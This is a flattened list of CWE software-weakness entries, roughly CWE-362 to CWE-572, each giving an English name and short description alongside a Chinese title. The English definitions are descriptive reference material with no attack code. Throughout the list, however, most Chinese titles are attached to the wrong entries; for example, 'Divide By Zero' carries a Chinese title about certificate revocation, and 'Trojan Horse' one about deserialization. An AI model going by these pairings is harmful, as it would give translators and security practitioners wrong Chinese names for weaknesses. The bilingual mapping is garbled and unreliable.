title_zh:检查时间与使用时间(TOCTOU)的竞争条件 The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner. ### CWEID:CWE-369 Divide By Zero The product divides a value by zero. ### CWEID:CWE-373 DEPRECATED: State Synchronization Error title_zh:在初始检查后缺失对证书撤销的验证 This entry was deprecated because it overlapped the same concepts as race condition (:CWE-362:) and Improper Synchronization (:CWE-662:). ### CWEID:CWE-375 Returning a Mutable Object to an Untrusted Caller title_zh:除零错误 Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function. ### CWEID:CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') title_zh:不完整的内部状态区分 The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently. ### CWEID:CWE-374 Passing Mutable Objects to an Untrusted Method title_zh:传递不可变的对象给非可信方法 The product sends non-cloned mutable data as an argument to a method or function. ### CWEID:CWE-378 Creation of Temporary File With Insecure Permissions title_zh:不安全的临时文件 Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack. ### CWEID:CWE-379 Creation of Temporary File in Directory with Insecure Permissions title_zh:返回不可变的对象给非可信调用者 The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file. ### CWEID:CWE-382 J2EE Bad Practices: Use of System.exit() title_zh:在具有不安全权限的目录中创建临时文件 A J2EE application uses System.exit(), which also shuts down its container. ### CWEID:CWE-383 J2EE Bad Practices: Direct Use of Threads title_zh:J2EE不安全实践:使用System.exit() Thread management in a Web application is forbidden in some circumstances and is always highly error prone. ### CWEID:CWE-386 Symbolic Name not Mapping to Correct Object title_zh:创建拥有不安全权限的临时文件 A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time. ### CWEID:CWE-390 Detection of Error Condition Without Action title_zh:J2EE不安全实践:直接使用线程 The product detects a specific error, but takes no actions to handle the error. ### CWEID:CWE-384 Session Fixation title_zh:隐蔽时间通道 Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions. ### CWEID:CWE-385 Covert Timing Channel title_zh:会话固定 Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information. ### CWEID:CWE-391 Unchecked Error Condition title_zh:符号名称未能映射到正确对象 [PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER :CWE-252:, :CWE-248:, OR :CWE-1069:.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed. ### CWEID:CWE-377 Insecure Temporary File title_zh:未经检查的错误条件 Creating and using insecure temporary files can leave application and system data vulnerable to attack. ### CWEID:CWE-392 Missing Report of Error Condition title_zh:错误条件报告缺失 The product encounters an error but does not provide a status code or return value to indicate that an error has occurred. ### CWEID:CWE-393 Return of Wrong Status Code title_zh:未有动作错误条件的检测 A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result. ### CWEID:CWE-394 Unexpected Status Code or Return Value title_zh:返回错误的状态编码 The product does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the product. ### CWEID:CWE-395 Use of NullPointerException Catch to Detect NULL Pointer Dereference title_zh:未预期的状态编码或返回值 Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer. ### CWEID:CWE-396 Declaration of Catch for Generic Exception title_zh:使用NullPointerException捕捉来检测空指针解引用 Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities. ### CWEID:CWE-397 Declaration of Throws for Generic Exception title_zh:对通用异常声明Throws语句 Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities. ### CWEID:CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak') title_zh:对通用异常声明Catch语句 The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product. ### CWEID:CWE-348 Use of Less Trusted Source title_zh:未加控制的资源消耗(资源穷尽) The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack. ### CWEID:CWE-401 Missing Release of Memory after Effective Lifetime title_zh:在移除最后引用时对内存的释放不恰当(内存泄露) The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory. ### CWEID:CWE-403 Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') title_zh:将私有的资源传输到一个新的空间(资源泄露) A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors. ### CWEID:CWE-405 Asymmetric Resource Consumption (Amplification) title_zh:将文件描述符暴露给不受控制的范围(文件描述符泄露) The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric." ### CWEID:CWE-406 Insufficient Control of Network Message Volume (Network Amplification) title_zh:不对称的资源消耗(放大攻击) The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor. ### CWEID:CWE-400 Uncontrolled Resource Consumption title_zh:不恰当的资源关闭或释放 The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources. ### CWEID:CWE-404 Improper Resource Shutdown or Release title_zh:不正确的行为次序:早期放大攻击 The product does not release or incorrectly releases a resource before it is made available for re-use. ### CWEID:CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) title_zh:对网络消息容量的控制不充分(网络放大攻击) The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. ### CWEID:CWE-407 Inefficient Algorithmic Complexity title_zh:算法复杂性 An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. ### CWEID:CWE-408 Incorrect Behavior Order: Early Amplification title_zh:对高度压缩数据的处理不恰当(数据放大攻击) The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place. ### CWEID:CWE-410 Insufficient Resource Pool title_zh:不充分的资源池 The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources. ### CWEID:CWE-414 Missing Lock Check title_zh:双重释放 A product does not check to see if a lock is present before performing sensitive operations on a resource. ### CWEID:CWE-412 Unrestricted Externally Accessible Lock title_zh:资源加锁不恰当 The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control. ### CWEID:CWE-413 Improper Resource Locking title_zh:加锁检查缺失 The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource. ### CWEID:CWE-419 Unprotected Primary Channel title_zh:未加限制的外部可访问锁 The product uses a primary channel for administration or restricted functionality, but it does not properly protect the channel. ### CWEID:CWE-421 Race Condition During Access to Alternate Channel title_zh:释放后使用 The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors. ### CWEID:CWE-415 Double Free title_zh:未保护的主要通道 The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations. ### CWEID:CWE-423 DEPRECATED: Proxied Trusted Channel title_zh:未保护的候选通道 This entry has been deprecated because it was a duplicate of :CWE-441:. All content has been transferred to :CWE-441:. ### CWEID:CWE-416 Use After Free title_zh:未保护的Windows消息通道(Shatter) Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. ### CWEID:CWE-422 Unprotected Windows Messaging Channel ('Shatter') title_zh:当访问候选通道时的竞争条件 The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product. ### CWEID:CWE-420 Unprotected Alternate Channel The product protects a primary channel, but it does not use the same level of protection for an alternate channel. ### CWEID:CWE-424 Improper Protection of Alternate Path title_zh:对候选路径的不恰当保护 The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources. ### CWEID:CWE-430 Deployment of Wrong Handler title_zh:直接请求(强制性浏览) The wrong "handler" is assigned to process an object. ### CWEID:CWE-425 Direct Request ('Forced Browsing') title_zh:不可信的搜索路径 The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files. ### CWEID:CWE-426 Untrusted Search Path title_zh:错误句柄的实施 The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control. ### CWEID:CWE-428 Unquoted Search Path or Element title_zh:未经引用的搜索路径或元素 The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path. ### CWEID:CWE-427 Uncontrolled Search Path Element title_zh:句柄缺失 The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors. ### CWEID:CWE-431 Missing Handler title_zh:对搜索路径元素未加控制 A handler is not available or implemented. ### CWEID:CWE-435 Improper Interaction Between Multiple Correctly-Behaving Entities title_zh:在敏感操作时危险信号处理例程未被禁用 An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses. ### CWEID:CWE-433 Unparsed Raw Web Content Delivery title_zh:未加解析的原始Web内容分发 The product stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server. ### CWEID:CWE-432 Dangerous Signal Handler not Disabled During Sensitive Operations title_zh:解释冲突 The product uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running. ### CWEID:CWE-437 Incomplete Model of Endpoint Features title_zh:交互错误 A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model. ### CWEID:CWE-439 Behavioral Change in New Version or Environment title_zh:危险类型文件的不加限制上传 A's behavior or functionality changes with a new version of A, or a new environment, which is not known (or manageable) by B. ### CWEID:CWE-436 Interpretation Conflict Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state. ### CWEID:CWE-434 Unrestricted Upload of File with Dangerous Type title_zh:预期行为违背 The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. ### CWEID:CWE-440 Expected Behavior Violation title_zh:端点特性的不完整模型 A feature, API, or function does not perform according to its specification. ### CWEID:CWE-443 DEPRECATED: HTTP response splitting title_zh:新版本或环境中的行为变化 This weakness can be found at :CWE-113:. ### CWEID:CWE-446 UI Discrepancy for Security Feature title_zh:HTTP请求的解释不一致性(HTTP请求私运) The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state. ### CWEID:CWE-447 Unimplemented or Unsupported Feature in UI title_zh:未有动机的代理或中间人(混淆代理) A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented. ### CWEID:CWE-448 Obsolete Feature in UI title_zh:安全特性的UI矛盾 A UI function is obsolete and the product does not warn the user. ### CWEID:CWE-449 The UI Performs the Wrong Action title_zh:在UI中的未实现或未支持特性 The UI performs the wrong action with respect to the user's request. ### CWEID:CWE-441 Unintended Proxy or Intermediary ('Confused Deputy') title_zh:UI上的废弃特性 The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. ### CWEID:CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') title_zh:UI执行错误动作 The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. ### CWEID:CWE-450 Multiple Interpretations of UI Input title_zh:UI输入的多重解释 The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation. ### CWEID:CWE-451 User Interface (UI) Misrepresentation of Critical Information title_zh:关键信息的UI错误表达 The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks. ### CWEID:CWE-453 Insecure Default Variable Initialization title_zh:不安全的缺省变量初始化 The product, by default, initializes an internal variable with an insecure or less secure value than is possible. ### CWEID:CWE-454 External Initialization of Trusted Variables or Data Stores title_zh:可信任变量或数据存储的外部初始化 The product initializes critical internal variables or data stores using inputs that can be modified by untrusted actors. ### CWEID:CWE-455 Non-exit on Failed Initialization The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator. ### CWEID:CWE-458 DEPRECATED: Incorrect Initialization title_zh:变量未经初始化 This weakness has been deprecated because its name and description did not match. The description duplicated :CWE-454:, while the name suggested a more abstract initialization problem. Please refer to :CWE-665: for the more abstract problem. ### CWEID:CWE-457 Use of Uninitialized Variable title_zh:使用未经初始化的变量 The code uses a variable that has not been initialized, leading to unpredictable or unintended results. ### CWEID:CWE-456 Missing Initialization of a Variable title_zh:初始化失效后的不存在变量 The product does not initialize critical variables, which causes the execution environment to use unexpected values. ### CWEID:CWE-459 Incomplete Cleanup title_zh:在关联列表中具有重复Key The product does not properly "clean up" and remove temporary or supporting resources after they have been used. ### CWEID:CWE-462 Duplicate Key in Associative List (Alist) title_zh:清理环节不完整 Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error. ### CWEID:CWE-463 Deletion of Data Structure Sentinel title_zh:对数据结构哨兵域的删除 The accidental deletion of a data-structure sentinel can cause serious programming logic problems. ### CWEID:CWE-460 Improper Cleanup on Thrown Exception title_zh:抛出异常的清理不恰当 The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow. ### CWEID:CWE-464 Addition of Data Structure Sentinel title_zh:对数据结构哨兵域的增加 The accidental addition of a data-structure sentinel can cause serious programming logic problems. ### CWEID:CWE-468 Incorrect Pointer Scaling title_zh:在预期范围外返回指针值 In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled. ### CWEID:CWE-466 Return of Pointer Value Outside of Expected Range title_zh:在指针类型上使用sizeof() A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference. ### CWEID:CWE-467 Use of sizeof() on a Pointer Type title_zh:使用指针的减法来确定大小 The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated. ### CWEID:CWE-469 Use of Pointer Subtraction to Determine Size title_zh:不正确的指针放大 The product subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk. ### CWEID:CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') title_zh:对假设不可变数据的修改(MAID) The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. ### CWEID:CWE-472 External Control of Assumed-Immutable Web Parameter title_zh:使用外部可控制的输入来选择类或代码(不安全的反射) The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields. ### CWEID:CWE-473 PHP External Variable Modification title_zh:对假设不可变Web参数的外部可控制 A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise. ### CWEID:CWE-474 Use of Function with Inconsistent Implementations title_zh:空指针解引用 The code uses a function that has inconsistent implementations across operating systems and versions. ### CWEID:CWE-471 Modification of Assumed-Immutable Data (MAID) title_zh:PHP参数外部修改 The product does not properly protect an assumed-immutable element from being modified by an attacker. ### CWEID:CWE-475 Undefined Behavior for Input to API title_zh:从输入到API的未定义行为 The behavior of this function is undefined unless its control parameter is set to a specific value. ### CWEID:CWE-477 Use of Obsolete Function title_zh:使用具有不一致性实现的函数 The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained. ### CWEID:CWE-479 Signal Handler Use of a Non-reentrant Function title_zh:对废弃函数的使用 The product defines a signal handler that calls a non-reentrant function. ### CWEID:CWE-478 Missing Default Case in Multiple Condition Expression title_zh:在Switch语句中缺失缺省条件 The code does not have a default case in an expression with multiple conditions, such as a switch statement. ### CWEID:CWE-476 NULL Pointer Dereference title_zh:信号处理例程中使用不可再入的函数 A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit. ### CWEID:CWE-483 Incorrect Block Delimitation title_zh:使用操作符不正确 The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error. ### CWEID:CWE-480 Use of Incorrect Operator title_zh:错误将赋值符号写成比较符号 The product accidentally uses the wrong operator, which changes the logic in security-relevant ways. ### CWEID:CWE-481 Assigning instead of Comparing title_zh:错误将比较符号写成赋值符号 The code uses an operator for assignment when the intention was to perform a comparison. ### CWEID:CWE-482 Comparing instead of Assigning title_zh:不正确的代码块分界 The code uses an operator for comparison when the intention was to perform an assignment. ### CWEID:CWE-484 Omitted Break Statement in Switch title_zh:在Switch语句中省略Break语句 The product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition. ### CWEID:CWE-486 Comparison of Classes by Name title_zh:使用名称来比较对象 The product compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name. ### CWEID:CWE-487 Reliance on Package-level Scope title_zh:依赖包一级的范围 Java packages are not inherently closed; therefore, relying on them for code security is not a good practice. ### CWEID:CWE-488 Exposure of Data Element to Wrong Session title_zh:遗留的调试代码 The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session. ### CWEID:CWE-491 Public cloneable() Method Without Final ('Object Hijack') title_zh:对错误会话暴露数据元素 A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state. ### CWEID:CWE-493 Critical Public Variable Without Final Modifier title_zh:使用包含敏感数据的内部对象 The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values. ### CWEID:CWE-489 Active Debug Code title_zh:公开的可克隆方法(对象劫持) The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information. ### CWEID:CWE-492 Use of Inner Class Containing Sensitive Data title_zh:缺少FinalModifier的关键公开变量 Inner classes are translated into classes that are accessible at package scope and may expose code that the programmer intended to keep private to attackers. ### CWEID:CWE-496 Public Data Assigned to Private Array-Typed Field title_zh:从公开方法中返回私有的数组类型数据域 Assigning public data to a private array is equivalent to giving public access to the array. ### CWEID:CWE-494 Download of Code Without Integrity Check title_zh:公开数据赋值给私有的数组类型数据域 The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code. ### CWEID:CWE-498 Cloneable Class Containing Sensitive Information title_zh:下载代码缺少完整性检查 The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class. ### CWEID:CWE-495 Private Data Structure Returned From A Public Method title_zh:公开静态字段没有标记为Final The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways. ### CWEID:CWE-499 Serializable Class Containing Sensitive Data title_zh:将系统数据暴露到未授权控制的范围 The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class. ### CWEID:CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere title_zh:可序列化的类中包含敏感信息 The product does not properly prevent sensitive system-level information from being accessed by unauthorized actors who do not have the same level of access to the underlying system as the product does. ### CWEID:CWE-501 Trust Boundary Violation title_zh:包含敏感信息的可克隆类 The product mixes trusted and untrusted data in the same data structure or structured message. ### CWEID:CWE-500 Public Static Field Not Marked Final title_zh:违背信任边界 An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways. ### CWEID:CWE-507 Trojan Horse title_zh:可信数据的反序列化 The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator. ### CWEID:CWE-508 Non-Replicating Malicious Code title_zh:内嵌的恶意代码 Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems. ### CWEID:CWE-502 Deserialization of Untrusted Data title_zh:特洛伊木马 The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. ### CWEID:CWE-509 Replicating Malicious Code (Virus or Worm) title_zh:后门 Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product. ### CWEID:CWE-510 Trapdoor title_zh:非传播性的恶意代码 A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism. ### CWEID:CWE-511 Logic/Time Bomb title_zh:具传播性的恶意代码(病毒或蠕虫) The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met. ### CWEID:CWE-506 Embedded Malicious Code title_zh:逻辑/时间炸弹 The product contains code that appears to be malicious in nature. ### CWEID:CWE-512 Spyware The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product. ### CWEID:CWE-514 Covert Channel title_zh:间谍软件 A covert channel is a path that can be used to transfer information in a way not intended by the system's designers. ### CWEID:CWE-515 Covert Storage Channel title_zh:.NET误配置:使用伪装 A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information. ### CWEID:CWE-516 DEPRECATED: Covert Timing Channel title_zh:隐蔽通道 This weakness can be found at :CWE-385:. ### CWEID:CWE-520 .NET Misconfiguration: Use of Impersonation title_zh:隐蔽存储通道 Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks. ### CWEID:CWE-524 Use of Cache Containing Sensitive Information title_zh:不充分的凭证保护机制 The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere. ### CWEID:CWE-525 Use of Web Browser Cache Containing Sensitive Information title_zh:弱口令要求 The web application does not use an appropriate caching policy that specifies the extent to which each web page and associated form fields should be cached. ### CWEID:CWE-522 Insufficiently Protected Credentials title_zh:凭证传输未经安全保护 The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. ### CWEID:CWE-523 Unprotected Transport of Credentials title_zh:通过缓存导致的信息暴露 Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server. ### CWEID:CWE-527 Exposure of Version-Control Repository to an Unauthorized Control Sphere title_zh:通过浏览器缓存导致的信息暴露 The product stores a CVS, git, or other repository in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors. ### CWEID:CWE-521 Weak Password Requirements title_zh:通过环境变量导致的信息暴露 The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts. ### CWEID:CWE-529 Exposure of Access Control List Files to an Unauthorized Control Sphere title_zh:将CVS仓库暴露给非授权控制范围 The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere. ### CWEID:CWE-526 Cleartext Storage of Sensitive Information in an Environment Variable title_zh:将CoreDump文件暴露给非授权控制范围 The product uses an environment variable to store unencrypted sensitive information. ### CWEID:CWE-528 Exposure of Core Dump File to an Unauthorized Control Sphere title_zh:将访问控制列表文件暴露给非授权控制范围 The product generates a core dump file in a directory, archive, or other resource that is stored, transferred, or otherwise made accessible to unauthorized actors. ### CWEID:CWE-530 Exposure of Backup File to an Unauthorized Control Sphere title_zh:将备份文件暴露给非授权控制范围 A backup file is stored in a directory or archive that is made accessible to unauthorized actors. ### CWEID:CWE-531 Inclusion of Sensitive Information in Test Code title_zh:通过日志文件的信息暴露 Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions. ### CWEID:CWE-533 DEPRECATED: Information Exposure Through Server Log Files title_zh:通过测试代码导致的信息暴露 This entry has been deprecated because its abstraction was too low-level. See :CWE-532:. ### CWEID:CWE-534 DEPRECATED: Information Exposure Through Debug Log Files This entry has been deprecated because its abstraction was too low-level. See :CWE-532:. ### CWEID:CWE-532 Insertion of Sensitive Information into Log File Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information. ### CWEID:CWE-535 Exposure of Information Through Shell Error Message title_zh:通过Shell错误消息导致的信息暴露 A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system. ### CWEID:CWE-536 Servlet Runtime Error Message Containing Sensitive Information title_zh:通过Servlet运行时错误消息导致的信息暴露 A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker. ### CWEID:CWE-537 Java Runtime Error Message Containing Sensitive Information title_zh:通过Java运行时错误消息导致的信息暴露 In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system. ### CWEID:CWE-539 Use of Persistent Cookies Containing Sensitive Information title_zh:通过源代码导致的信息暴露 The web application uses persistent cookies, but the cookies contain sensitive information. ### CWEID:CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory title_zh:文件和路径信息暴露 The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information. ### CWEID:CWE-540 Inclusion of Sensitive Information in Source Code title_zh:通过持久性Cookie导致的信息暴露 Source code on a web server or repository often contains sensitive information and should generally not be accessible to users. ### CWEID:CWE-541 Inclusion of Sensitive Information in an Include File If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system. ### CWEID:CWE-542 DEPRECATED: Information Exposure Through Cleanup Log Files title_zh:通过包含源代码导致的信息暴露 This entry has been deprecated because its abstraction was too low-level. See :CWE-532:. ### CWEID:CWE-543 Use of Singleton Pattern Without Synchronization in a Multithreaded Context title_zh:在多线程上下文中使用缺失同步机制的Singleton设计模式 The product uses the singleton pattern when creating a resource within a multithreaded environment. ### CWEID:CWE-545 DEPRECATED: Use of Dynamic Class Loading This weakness has been deprecated because it partially overlaps :CWE-470:, it describes legitimate programmer behavior, and other portions will need to be integrated into other entries. ### CWEID:CWE-544 Missing Standardized Error Handling Mechanism title_zh:可疑注释 The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses. ### CWEID:CWE-546 Suspicious Comment title_zh:标准化错误处理机制缺失 The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses. ### CWEID:CWE-547 Use of Hard-coded, Security-relevant Constants title_zh:口令域未进行输入隐藏 The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change. ### CWEID:CWE-548 Exposure of Information Through Directory Listing title_zh:使用硬编码、安全相关的常数 A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers. ### CWEID:CWE-549 Missing Password Field Masking title_zh:通过服务器错误消息导致的信息暴露 The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords. ### CWEID:CWE-550 Server-generated Error Message Containing Sensitive Information title_zh:通过目录枚举导致的信息暴露 Certain conditions, such as network failure, will cause a server error message to be displayed. ### CWEID:CWE-551 Incorrect Behavior Order: Authorization Before Parsing and Canonicalization title_zh:不正确的行为次序:在解析与净化处理之前进行授权 If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection. ### CWEID:CWE-553 Command Shell in Externally Accessible Directory title_zh:J2EE误配置:在配置文件中明文存储口令 A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server. ### CWEID:CWE-555 J2EE Misconfiguration: Plaintext Password in Configuration File title_zh:外部可访问目录中的命令行Shell The J2EE application stores a plaintext password in a configuration file. ### CWEID:CWE-554 ASP.NET Misconfiguration: Not Using Input Validation Framework title_zh:ASP.NET误配置:没有使用输入验证框架 The ASP.NET application does not use an input validation framework. ### CWEID:CWE-556 ASP.NET Misconfiguration: Use of Identity Impersonation title_zh:ASP.NET误配置:使用身份伪装 Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges. ### CWEID:CWE-552 Files or Directories Accessible to External Parties title_zh:对外部实体的文件或目录可访问 The product makes files or directories accessible to unauthorized actors, even though they should not be. ### CWEID:CWE-558 Use of getlogin() in Multithreaded Application title_zh:在多线程应用程序中使用getlogin() The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values. ### CWEID:CWE-560 Use of umask() with chmod-style Argument title_zh:在chmod类型参数中使用umask() The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod(). ### CWEID:CWE-561 Dead Code title_zh:返回栈上的变量地址 The product contains dead code, which can never be executed. ### CWEID:CWE-564 SQL Injection: Hibernate title_zh:死代码 Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands. ### CWEID:CWE-563 Assignment to Variable without Use title_zh:SQL注入:Hibernate The variable's value is assigned but never used, making it a dead store. ### CWEID:CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key title_zh:未使用的变量 The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor. ### CWEID:CWE-562 Return of Stack Variable Address title_zh:通过用户控制SQL主密钥绕过授权机制 A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash. ### CWEID:CWE-568 finalize() Method Without super.finalize() title_zh:在信任Cookie未进行验证与完整性检查 The product contains a finalize() method that does not call super.finalize(). ### CWEID:CWE-565 Reliance on Cookies without Validation and Integrity Checking title_zh:在多现场上下文中未能对共享数据进行同步访问 The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user. ### CWEID:CWE-572 Call to Thread run() instead of start() title_zh:表达式永假 The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee. ### CWEID:CWE-570 Expression is Always False title_zh:没有super.finalize()的finalize()方法 The product contains an expression that will always evaluate to false. ### CWEID:CWE-567 Unsynchronized Access to Shared Data in a Multithreaded Context title_zh:表达式永真 The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes. ### CWEID:CWE-571 Expression is Always True title_zh:调用线程的run()方法而非start()方法 The product contains an expression that will always evaluate to true. ### 